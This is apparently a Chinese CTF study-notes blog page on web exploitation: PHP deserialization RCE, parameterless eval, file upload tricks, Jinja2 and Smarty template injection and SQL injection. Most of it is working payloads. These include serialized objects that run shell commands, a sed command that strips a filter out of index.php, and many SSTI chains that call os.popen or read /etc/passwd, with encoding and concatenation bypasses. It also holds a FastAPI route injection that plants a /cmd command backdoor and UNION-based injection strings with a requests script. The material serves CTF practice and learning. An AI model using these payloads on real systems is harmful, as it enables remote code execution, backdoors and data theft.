BashFuck Payload Generator

写文件到其他地方

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]R!!!C!!!E!!!) R!!!C!!!E!!!

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
class minipop{
public $code;
public $qwejaskdjnlka;
public function __toString()
{
if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
exec($this->code);
}
return "alright";
}
public function __destruct()
{
echo $this->qwejaskdjnlka;
}
}
if(isset($_POST['payload'])){
//wanna try?
unserialize($_POST['payload']);
}
1
2
3
4
5
6
7
8
9
10
11
12
<?php

class minipop{
public $code="ls / | t''ee b";
public $qwejaskdjnlka;
}
$a=new minipop();
$b= new minipop(); //调用两次
$b->qwejaskdjnlka=$a;
echo serialize($b);

?>

然后直接访问b即可

也可以尝试下面这个方法:

[NewStarCTF 2023 公开赛道]R!!!C!!!E!!! | 北歌

由于使用了exec,程序不会有回显,但是没有过滤sed,我们可以把正则里的|删去

1
2
3
4
5
6
$a = new minipop;
$a->qwejaskdjnlka = new minipop;
$a->qwejaskdjnlka->code = 'sed -i \'s/|//g\' index`echo -e "\x2ep"`hp';
$a->qwejaskdjnlka->code = 'ls / >1.php';
$a->qwejaskdjnlka->code = 'cat /flag_is_h3eeere >1.php';
echo (serialize($a));

echo -e "\x2ep"

  • \x2e 是十六进制,代表字符 .
  • \x70 是十六进制,代表字符 p
  • 所以 echo -e "\x2ep" 输出就是 .p
1
index`echo -e "\x2ep"`hp
  • 反引号会执行命令并替换结果
  • 最终拼接成:index.php

sed 命令

1
sed -i 's/|//g' index.php
  • -i:直接修改文件(不备份)
  • 's/|//g':把文件中所有的 | 字符删除

无参数RCE

BUUCTF在线评测 禁止套娃

跳过前面运用GitHack的部分,直接看RCE部分

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

Padyload:

current(localeconv()) 来代替了 .

1
?exp=readfile(next(array_reverse(scandir(current(localeconv())))));

文件上传

[CTF show 文件上传篇(web151-170,看这一篇就够啦)-CSDN博客](https://blog.csdn.net/qq_65165505/article/details/141370798#:~:text=在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。,将一个正常显示的图片,上传到服务器。 寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。)

普通php/phtml文件上传

通过burpsuite拦截抓包更改后缀

攻防世界

就是个简单的拦截改成后缀为php

通过.htaccess或者user.ini进行文件上传

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]Upload again!) 运用.htaccess

通过文件名传马

[BUUCTF在线评测](https://buuoj.cn/challenges#[CISCN2019 总决赛 Day2 Web1]Easyweb)

SSTI

1
因为hexo的关系,这里不在代码块外的{{}}统一换成{{...}}

介绍

模板引擎:(这里特指用于Web开发的模板引擎)

是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前

SSTI(Server-Side Template Injection):服务器端模板注入

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题

Smarty SSTI

[BUUCTF在线评测](https://buuoj.cn/challenges#[CISCN2019 华东南赛区]Web11)

Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如*||*,or,&&,and,is_array(), 等等

既然全部的PHP条件表达式和函数都可以在if内使用,那我们在里面写php代码也行。
{if phpinfo()}{/if}

payload:

X-Forwarded-For:{if system('cat /flag')}{/if}


原理

CTF web漏洞合集 Python篇(1)python中的SSTI - LamentXU - 博客园

Python SSTI漏洞学习总结 - Tuzkizki - 博客园

SSTI模板注入 | Antel0p3’s blog

介于jinja2出现的非常多,就只看看jinja2

先看这个包浆的图片()

可以知道49如果回显是49(也就是执行了里面的命令)的话,就说明存在SSTI

然后可以再试NaN,如果还是49就可以下判断了,但是一般题目就是前一步可以直接下结论是jinja2内部存在的SSTI

那么什么是jinja2?

Jinja 模板只是一个文本文件,可以 基于模板生成任何基于文本的格式(HTML、XML、CSV、LaTeX 等),一般用在前端的项目中,渲染 HTML 文件

模板包含变量或表达式,这两者在模板求值的时候会被替换为值。模板中还有标签,控制模板的逻辑。模板语法的大量灵感来自于 Django 和 Python

基本语法:

1
2
3
语句 {% ... %}
变量 {{ ... }}
注释 {# ... #}

常用的语句包括:for、if、set、include、block、filter 等

变量通过传递字典来进行使用,当使用 for 语句的时候,变量可以是列表

创建和渲染模板的最基本方法是通过 Template,通过创建一个 Template 的实例,
会得到一个新的模板对象,模板对象有一个 render() 的方法,该方法在调用 dictkeywords 参数时填充模板

E.g

1
2
3
4
5
from jinja2 import Template

eg = Template('hello {{name}}')
result = eg.render(name = '111')
print(result)

结果就是

hello 111

成因:

欸但是一般代码中不带这个{{...}},就会出现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask, request, render_template_string
from jinja2 import Template
app = Flask(__name__)

@app.route('/')
def main():
name = request.args.get('name')
t = '''
<html>
<h1>Hello %s</h1>
</html>
''' % (name)
return render_template_string(t)

或者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask, request, render_template_string
from jinja2 import Template
app = Flask(__name__)

@app.route('/')
def main():
name = request.args.get('name')
t = Template'''
<html>
<h1>Hello %s</h1>
</html>
''' % (name)
return t.render()

再或者

1
2
3
4
5
6
7
8
9
from jinja2 import Template

name = input("please input name:") # 用于模拟获取 name 参数,你可以根据实际情况获取 name 的值
t = Template('''
<html>
<h1>Hello %s</h1>
</html>
''' % (name))
print(t.render())

这边你正常传入一个字符串,就是正常显示的,但是当你传入一个{{7*7}},结果就是会变成49,这是因为{{...}}被渲染到Template里了,这点在上面的jinja2语法中有所体现

然后传入49

那么我们知道了可以传入{{...}}进而被Template渲染后,我们就可以尝试干两件事:获取信息RCE

我们先看获取一些信息这边

比如查看一些什么config和env

1
2
{{config}}		# 获取config,包含flag
{{request.environ}} # 获取环境信息

给个源码方便你们也可以试试()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from jinja2 import Template
from flask import Flask,request,render_template_string
import os
app = Flask(__name__)

app.config['Flag'] = 'flag{You_Find_Me!!!}'

FLAG = os.getenv('FLAG', 'flag{here_is_a_flag!!!}')

@app.before_request
def add_flag_to_environ():
request.environ['FLAG'] = FLAG

@app.route('/')
def main():
name = request.args.get('name','ok')
t = '''
<html>
<h1>Hello %s</h1>
</html>
''' % (name)
return render_template_string(t)

if __name__ == '__main__':
app.run(host='0.0.0.0',port = 5000)

然后我们直接 ?name={{config}}

可以看到

再看看 {{request.environ}}

如果是想进行RCE的话,那就需要os库,但是肯定不会傻到内置os库给你用的,所以就需要你自己导入一个os库,使用system或者popen这种危险函数来读取

然后就有思路:

  • 使用万能的对象(比如字符串对象’’)-> 子类 -> 基类 -> 危险类的危险函数(大多数情况)
  • 直接使用代码中定义的对象(包括已经导入的库)所包含的危险子类中的危险函数(R3CTF 2024 web jinjaclub wp - LamentXU - 博客园

这里说是“万能的对象”,其实大多数情况下,最好用最经典的还是字符串对象’’,当然[]这些对象也是可以的

python中每个对象都有个属性__class__,用于返回该对象所属的类。而我们要做的,就是获取到object基类

使用''.__class__我们就完成了第一步,即,获取到一个字符串对象

[]{}也可以

还有:

__bases__:以元组的形式返回一个类所直接继承的类

__base__:以字符串形式返回一个类所直接继承的类

__mro__:返回解析方法调用的顺序

__subclasses__(): 是一个特殊方法,用于获取某个类的所有直接子类

__init__:所有自带带类都包含init方法,便于利用他当跳板来调用globals

function.__globals__:用于获取function所处空间下可使用的module、方法以及所有变量

['__builtins__']:从全局变量字典中获取内置模块的引用

  • 通过 __builtins__ 访问 eval()exec() 函数来执行恶意代码
  • 使用 __builtins__ 中的 open() 函数来读取或写入文件
  • 利用 __builtins__ 中的 __import__() 函数来动态导入其他模块,比如 ossys,然后执行系统命令

__import__:导入模块

__getitem__:提取元素

比如:

1
2
3
print("".__class__.__bases__)

#(<class 'object'>,)
  1. "":创建一个空字符串
  2. __class__:访问该空字符串的类。对于字符串对象,其类是 str
  3. __bases__:访问 str 类的基类。对于内置类型,str 类的基类是 object

这三个属于获取基类的办法。获取到object基类之后,因为这个基类的子类是这个python程序目前的所有类,所以可以直接找到我们要的os(是基类的一个子类)

使用"".__class__.__bases__"".__class__.__mro__[1]"".__class__.__base__我们就完成了第二步,即,获取到了object基类

我们看这个:

1
print("".__class__.__mro__[1].__subclasses__())
  1. 获取空字符串的类:"".__class__ 返回 str
  2. 获取 str 类的继承顺序:__mro__ 返回一个元组,列出 str 类及其基类的顺序
  3. 获取 str 类的直接基类:[1] 取出 __mro__ 元组中的第二个元素,即 object
  4. 获取 object 类的所有直接子类:调用 __subclasses__() 方法

这样打印出来的结果就是object下的所有子类

现在我们要进行RCE的话

我们要做的,是找到使用os的内置类。那这可多了,这里可以fuzz出(由python环境改变而改变,可以直接bp数字爆破一下)如果没有的话,也可以找一些可以读取文件的内置类,那么warnings.catch_warnings类 可就成重灾区了(有很多其他的)

我们发现object基类的__subclasses__()中 <type ‘warnings.catch_warnings’> 的索引值为138(随环境改变而改变),导入他后直接导入os并RCE即可,你去找os._wrap_close也可以

1
{{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("tac flag").read()')}}

也可以稍微拼接绕过一下

1
{{[].__class__.__base__.__subclasses__()[138].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

当然,你也可以找到其他调用了os的内置类,利用__init__function.__globals__来调用内置类中os类的方法,如subprocess.popen:

1
{{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}

有用的python内置类有很多,这里贴一个脚本,可以直接把subclass出来的东西放data里帮你检测有用的类的索引

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import re

# 将查找到的父类列表替换到data中 ''.__class__.__mro__[-1].__subclasses__()
data = r'''
[<class 'type'>, <class 'weakref'>, ......]
'''
# 在这里添加可以利用的类,下面会介绍这些类的利用方法
userful_class = ['linecache', 'os._wrap_close', 'subprocess.Popen', 'warnings.catch_warnings', '_frozen_importlib._ModuleLock', '_frozen_importlib._DummyModuleLock', '_frozen_importlib._ModuleLockManager', '_frozen_importlib.ModuleSpec']

pattern = re.compile(r"'(.*?)'")
class_list = re.findall(pattern, data)
for c in class_list:
for i in userful_class:
if i in c:
print(str(class_list.index(c)) + ": " + c)

做题流程也很明确了:确定好要用SSTI打RCE之后用burp(payload:"".__class__.__mro__[1].__subclasses__())fuzz服务器找os或者file,然后读取文件或RCE

总结一下就是:先找object基类,然后subclasses出所有的类(就应该是一大坨玩意)然后放上面那个脚本里跑索引。找到能用的类之后去网上找这个类对应的payload打就完了)

Bypass

过滤了两个大括号

可以直接{%print()%}替代,上文有介绍,与{{...}}同等效果,想看回显可以

1
{%print(7*7)%}

也可以使用flask控制语句{%...%}{%end%}结尾(括号内可控制语句,定义变量,写循环判断)

于是使用

1
{%if().__class__%}123{%endif%}

如果__class__类下存在内容就输出123

你甚至可以用循环来查找可以用的类

1
2
3
4
5
6
7
8
9
10
{% for c in. class.base_subclasses () %}{% if c.__name__=='catch warnings'%}{{c.__init__.__globals__['__builtins__'] .eval('__import__("os").popen("<command>").read()')}}{% endif%}{% endfor %}

% 是模板引擎(如 Jinja2)中的一个特殊字符,用于标记模板代码的开始和结束
{% for c in class.base_subclasses() %}:这是一个循环语句,它遍历class的所有基类(父类)的子类
{% if c.__name__=='catch warnings'%}:这是一个条件判断语句,它检查当前遍历到的子类的名称是否是'catch warnings'
c.__init__.__globals__:获取当前类__init__方法的全局变量字典
['__builtins__']:从全局变量字典中获取内置模块的引用
eval('__import__("os").popen("<command>").read()'):使用eval函数执行一个字符串形式的Python表达式。这个表达式首先导入os模块,然后使用popen函数执行一个系统命令(<command>应被替换为实际的命令),并读取命令的输出结果
{% endif %}:结束条件判断语句
{% endfor %}:结束循环语句

字符串拼接

1
"__glo"+"bal__" == "__global__"

过滤了 .

[]替代

1
a.b == a['b']

request.args逃逸

如果题目中没有过滤request,则可以将一些含有敏感字符的位置用get传,再在SSTI中用request.args.arg1逃逸到get参数里去

1
2
3
4
5
request.args.name
request.cookies.name
request.headers.name
request.values.name
request.form.name

GET (用request.args)

1
{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd

POST (用request.values)

1
2
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
post:arg1=open&arg2=/etc/passwd

过滤了 []

.getitem

1
tuple[0] == tuple.getitem(0)

.pop

1
__subclasses__()[128] = __subclasses__().pop(128)

E.g

1
2
3
4
5
6
7
8
9
# 原payload,可以使用__base__绕过__bases__[0]
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()
# 通过__getitem__()绕过__bases__[0]、通过pop(128)绕过__subclasses__()[128]
"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen('whoami').read()

# 原payload
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")
# 绕过
[].__class__.__base__.__subclasses__().__getitem__(59).__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")

pop 是列表的一个方法,用于移除列表中的元素并返回该元素。这里 pop(128) 表示从列表中移除并返回索引为 128 的元素

过滤了 config

1
2
# 绕过,同样可以获取到config
{{self.dict._TemplateReference__context.config}}

用内置函数

1
{{url_for.__globals__['current_app'].config}}

过滤了__init__

__enter__或者__exit__替代

1
2
3
{{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

过滤了os

可以使用翻转字符的方法,比如

1
__import__('so'[::-1]).popen

这跟__import__('os').popen等效

编码过滤

1
2
3
4
5
6
7
# 以下皆为 ""["__class__"] 等效形式
# 八进制
""["\137\137\143\154\141\163\163\137\137"]
# 十六进制
""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]
# Unicode
""["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]

实战下就可以是:

1
2
3
4
{%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")|attr("read")())%}

#{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")())%}

一些高端的∞

展示些高端玩法()

内置类 Undefined

在渲染().__class__.__base__.__subclasses__().c.__init__初始化一个类时,此处由于不存在c类理论上应该报错停止执行,但是实际上并不会停止执行,这是由于Jinja2内置了Undefined类型,渲染结果显示为<class 'jinja2.runtime.Undefined'>,所以看起来并不存在的c类实际上触发了内置的Undefined类型

可用payload:

1
2
3
4
5
a.__init__.__globals__.__builtins__.open("C:\Windows\win.ini").read()

a.__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")

{%print(g.pop.__globals__.__builtins__.__import__('so'[::-1]).popen('tac /*').read())%}

过滤器

Template Designer 文档 — Jinja 文档 (3.2.x)

在 Jinja2 中,过滤器(Filters)用于对变量进行转换或格式化。过滤器可以用来修改变量的值,使其符合特定的格式或需求。过滤器在模板中使用管道符号 | 进行应用,可以链式调用多个过滤器

假设我们有以下模板变量:

1
2
3
4
5
6
7
8
from datetime import datetime

context = {
'name': 'miHoYo',
'items': ['zzz', 'starrailway', 'genshin'],
'price': 42.5,
'now': datetime.now()
}

常用过滤器

  1. **default**:为变量提供默认值

    1
    {{ undefined_variable|default("No value") }}  {# 输出:No value #}
  2. **length**:获取列表或字符串的长度

    1
    {{ items|length }}  {# 输出:3 #}
  3. **loweruppertitle**:转换字符串的大小写

    1
    2
    3
    {{ name|lower }}  {# 输出:mihoyo #}
    {{ name|upper }} {# 输出:MIHOYO #}
    {{ name|title }} {# 输出:miHoYo #}
  4. **join**:将列表元素连接成字符串

    1
    {{ items|join(", ") }}  {# 输出:zzz, starrailway, genshin #}
  5. **replace**:替换字符串中的子串

    1
    {{ "Hello World"|replace("World", "Jinja2") }}  {# 输出:Hello Jinja2 #}
  6. **format**:格式化字符串

    1
    {{ "Price: %.2f"|format(price) }}  {# 输出:Price: 42.50 #}
  7. **selectreject**:选择或排除列表中的元素

    1
    2
    {{ items|select("startswith", "z")|list }}  {# 输出:['zzz'] #}
    {{ items|reject("endswith", "z")|list }} {# 输出:['starrailway', 'genshin'] #}
  8. **date**:格式化日期

    1
    {{ now|date("%Y-%m-%d %H:%M:%S") }}  {# 输出:当前日期和时间 #}

多个过滤器链式调用

1
{{ items|length|default(0) }}  {# 如果 items 是 None 或空的,输出 0 #}

这里我们着重看看 setattr()


set

set 过滤器在 Jinja2 中用于定义和赋值变量

先来看

1
{% set one = dict(c=a) | join | count %}

dict(c=a)

  • 作用:创建一个字典,键是字符串 "c",值是变量 a
  • 示例:如果 a 的值是 "test",那么 dict(c=a) 的结果是 {"c": "test"}

那我们可以用这个构造:

1
2
{% set a = dict(po=a,p=a)|join %}  {# 构造 'pop' #}
{% set b = ( ()|select|string|list )|attr(a)(24) %} {# 构造 '_' #}

当然你要是构造不出 _ 可以直接入手找 _

1
2
3
4
5
6
7
8
9
10
11
{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xxx=(lipsum|string|list)%}{%print xxx%}

数数看看_在第几个,然后拼接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
拼接数字为24


{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xxx=(lipsum|string|list)|attr(pop)(three*eight)%}{%print xxx%}

其余情况可以构造一个链:

1
2
3
4
5
6
7
{% set a = dict(po=a,p=a)|join %}  {# 构造 'pop' #}
{% set b = dict(glo=a, bals=a)|join %} {# 构造 'globals' #}
{% set c = dict(geti=a, tem=a)|join %} {# 构造 'getitem' #}
{% set d = dict(po=a, pen=a)|join %} {# 构造 'popen' #}
{% set e = dict(rea=a, d=a)|join %} {# 构造 'read' #}

{{ lipsum|attr(b)|attr(c)(dict(o=a,s=a)|join)|attr(d)(dict(l=a,s=a)|join)|attr(e)() }}

lipsum.__globals__['os'].popen('ls').read()


attr()

当某些字符如点号 (.)、中括号 ([]) 或引号被过滤时

1
{{ ''|attr('__class__') }}  # 相当于 {{ ''.__class__ }}

链式调用

1
2
3
{{ ''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(77) }}

#{{''__class__.__base__.__subclasses__()[77]}}

lipsum

lipsum 是一个全局的函数或变量,它通常用于生成随机文本,但在 SSTI 攻击中,它也可以被用来获取内置模块或函数

ipsum.__globals__ 是一个字典,包含了在 lipsum 函数定义时的全局变量。在 Jinja2 模板中,如果 lipsum 存在,攻击者可以利用它来访问全局变量,如 __builtins__os 等模块

比如:

1
{{ lipsum.__globals__['os'].popen('ls').read() }}

使用 popen 方法执行命令 ls,并调用 read() 方法读取输出

1
{{ lipsum.__globals__.__builtins__.__import__('os').popen('ls').read() }}

通过 __import__ 函数导入 os 模块,进而执行命令

那么结合一下前面的内容可以字符串拼接绕过

1
{%print(lipsum['__glo'+'bals__']['__bui'+'ltins__']['__imp'+'ort__']('so'[::-1])['po'+'pen']('ls').read())%}

或者使用attr过滤器访问:

1
{{ lipsum|attr('__globals__')|attr('__builtins__')|attr('__import__')('os')|attr('popen')('ls')|attr('read')() }}

url_for、get_flashed_messages

这是flask内置的两个全局函数,两个都用__globals__

1
2
3
# flask
{{get_flashed_messages.__globals__['os'].popen('whoami').read()}}
{{url_for.__globals__['os'].popen('whoami').read()}}

bytes

python3新增了bytes类,用于代表字符串,其fromhex()方法可以将十六进制转换为字符串

payload

1
2
# ""[__class__]
""["".encode().fromhex("5f5f636c6173735f5f").decode()]

add_api_route()

在 FastAPI 中,add_api_route 是一个非常灵活且强大的方法,用于手动向应用程序中添加 API 路由。它提供了对路由行为的更精细控制

方法签名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def add_api_route(
self,
path: str,
endpoint: Callable[..., Any],
*,
response_model: Any = None,
status_code: Optional[int] = None,
tags: Optional[List[str]] = None,
dependencies: Optional[Sequence[Depends]] = None,
summary: Optional[str] = None,
description: Optional[str] = None,
response_description: str = "Successful Response",
responses: Optional[Dict[Union[int, str], Dict[str, Any]]] = None,
deprecated: Optional[bool] = None,
methods: Optional[List[str]] = None,
operation_id: Optional[str] = None,
response_model_include: Optional[Union[SetIntStr, DictIntStrAny]] = None,
response_model_exclude: Optional[Union[SetIntStr, DictIntStrAny]] = None,
response_model_by_alias: bool = True,
response_model_exclude_unset: bool = False,
response_model_exclude_defaults: bool = False,
response_model_exclude_none: bool = False,
include_in_schema: bool = True,
response_class: Type[Response] = Default(JSONResponse),
name: Optional[str] = None,
callbacks: Optional[List[BaseRoute]] = None,
openapi_extra: Optional[Dict[str, Any]] = None,
generate_unique_id_function: Callable[[APIRoute], str] = Default(generate_unique_id)
) -> None:

参数说明

  • path:路由的路径,比如 /items
  • endpoint:处理该路由的函数,可以是同步或异步函数。
  • response_model:定义返回的数据类型,通常是一个 Pydantic 模型,用于数据验证和文档生成功能。
  • status_code:指定请求成功的 HTTP 状态码,默认值是 200
  • tags:为路由指定标签,便于在文档中对路由进行分组和组织。
  • dependencies:定义路由的依赖项,比如身份验证或数据库连接等。
  • summarydescription:分别用于提供该路由的简要和详细描述,这些信息会显示在自动生成的文档中。
  • response_description:描述成功的响应内容。
  • responses:一个字典,可以用来定义更详细的响应信息,包括不同状态码的响应内容。
  • deprecated:标记该路由是否已被废弃。
  • methods:允许的 HTTP 请求方法列表,如 ["GET", "POST"]。如果设置为 None,默认仅支持 GET
  • operation_id:唯一标识符,用于 OpenAPI 文档中标识该操作,通常自动生成。
  • response_model_includeresponse_model_exclude:用于控制返回数据模型中包含或排除的字段。
  • response_model_by_alias:是否按照模型字段的别名返回数据,默认为 True
  • response_model_exclude_unsetresponse_model_exclude_defaultsresponse_model_exclude_none:用于控制是否排除未设置的字段、默认值字段和值为 None 的字段。
  • include_in_schema:是否将该路由包含在自动生成的文档中,默认为 True
  • response_class:指定返回的响应类,默认是 JSONResponse
  • name:路由的名称,用于在某些情况下如 OpenAPI 文档中标识该路由。
  • callbacks:可以用来指定回调路由。
  • openapi_extra:可以为 OpenAPI 文档提供额外的元数据。
  • generate_unique_id_function:用于生成唯一的操作 ID 的函数。

奇妙的思路1

1
{%print(self.__dict__._TemplateReference__context.keys())%}

语句获取已经载入内存中的Flask内置函数

然后可以利用 lipsum

1
{%print(lipsum.__global__['os']['popen']('more /f*').read())%}

奇妙的思路2

第三届黄河流域公安院校网络安全技能挑战赛 web 全解 - LamentXU - 博客园

写static

创建static目录:

1
title=1&author={{g.pop.__globals__.__builtins__['__import__']('os').system('mkdir%20static')}}

/details访问。触发。

mv同目录下文件到/static

1
title=1&author={{g.pop.__globals__.__builtins__['__import__']('os').system('mv%20*%20./static/LamentLament.txt')}}

details查看触发SSTI。访问/static/LamentLament.txt获取flag

一些不用动脑的()

Fenjing大法

基础例题

RUST下的SSTI

1
{%set my_var = get_env(name="FLAG") %}{{my_var}}

HNCTF 2022 WEEK2]ez_SSTI | NSSCTF

参数是name,测试得出模板是jinja2

{{''.__class__.__bases__[0].__subclasses__()}}

用这个找到os._wrap_close类。定位到了137

然后

1
{{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__}}

查找用没有popen函数

发现有

则payload:

1
?name={{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')}}

[BUUCTF在线评测](https://buuoj.cn/challenges#[CSCCTF 2019 Qual]FlaskLight) Flasklight

1
{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__(%27os%27).popen(%27dir%27).read()")}}

综合绕过

攻防世界 Web_python_template_injection

{{[].__class__.__base__.__subclasses__()[138].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

{{[].__class__.__base__.__subclasses__()[138].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('tac f14g').read()")}}

LitCTF 2025]星愿信箱 | NSSCTF

发现成功回显49,证明存在SSTI

之后就正常SSTI:(过滤了cat)(nl也可以)

1
{%print(g.pop.__globals__.__builtins__.__import__('so'[::-1]).popen('tac /*').read())%}

另解:

{%print(self.__dict__._TemplateReference__context.keys())%}

语句获取已经载入内存中的Flask内置函数

然后可以利用 lipsum

{%print(lipsum.__global__['os']['popen']('more /f*').read())%}

巅峰极客 2024]GoldenHornKing | NSSCTF

1
2
3
4
5
add_api_route(path='/cmd',endpoint=lambda cmd :__import__('os').popen(cmd).read())

__import__('sys').modules['__main__'].app.add_api_route(path='/cmd',endpoint=lambda cmd :__import__('os').popen(cmd).read())

sleep.__init__.__globals__["__builtins__"]["eval"]("__import__('sys').modules['__main__'].app.add_api_route(path='/cmd',endpoint=lambda cmd :__import__('os').popen(cmd).read())")

SQL

判断字段数:

  • order by

information_schema数据库

  • schemata: 保存当前整个服务器所有的数据库信息 库名
  • tables: 保存当前整个服务器所有的数据表的信息 表名 table_name
  • columns: 保存当前整个服务器所有的字段信息 字段名
  • group_concat: 去重

(1)联合查询

攻防世界 NewsCenter

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()#

//news secret_table

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'secret_table'#

//id f14g

1' union select 1,2,group_concat(fl4g) from secret_table#

// QCTF{sq1_inJec7ion_ezzz}

[BUUCTF在线评测](https://buuoj.cn/challenges#[极客大挑战 2019]BabySQL) Baby SQL(双写绕过)

试列数:/check.php?username=admin&password=1' ununionion seselectlect 1,2,3%23(这个URL编码是#)

爆数据库:/check.php?username=admin&password=1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23

爆表:/check.php?username=admin&password=1' ununionion seselectlect 1,2, group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema="ctf" %23

查字段名:/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag"%23

/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(flag) frfromom(ctf.Flag)%23

PS: (双写绕过)

因为在过滤过程中只进行了一次替换。就是将关键字替换为对应的空。

比如 union在程序员处理时被替换为空,那需要我们可以尝试把union改写为 ununionion ,这样红色部分替换为空,则剩下的依然为union还可以结合大小写过滤一起使用

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]ez_sql) EZ_sql(大小写绕过)

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = "http://fb159c83-e932-48ed-88af-dbe07ad17a5a.node5.buuoj.cn:81/?id="


#for i in range(1,100):
#payload = f"TMP0919' Order by {i}%23"
#res = requests.get(url=url + payload)
#print(res.text)
#if("id" not in res.text):
# print(f"i = {i}")
# break

#payload = "1' uNion Select ((sElect gRoUp_cOnCat(TaBle_nAme) From infOrmation_schema.tables WHeRe Table_schema=Database())),2,3,4,5%23"
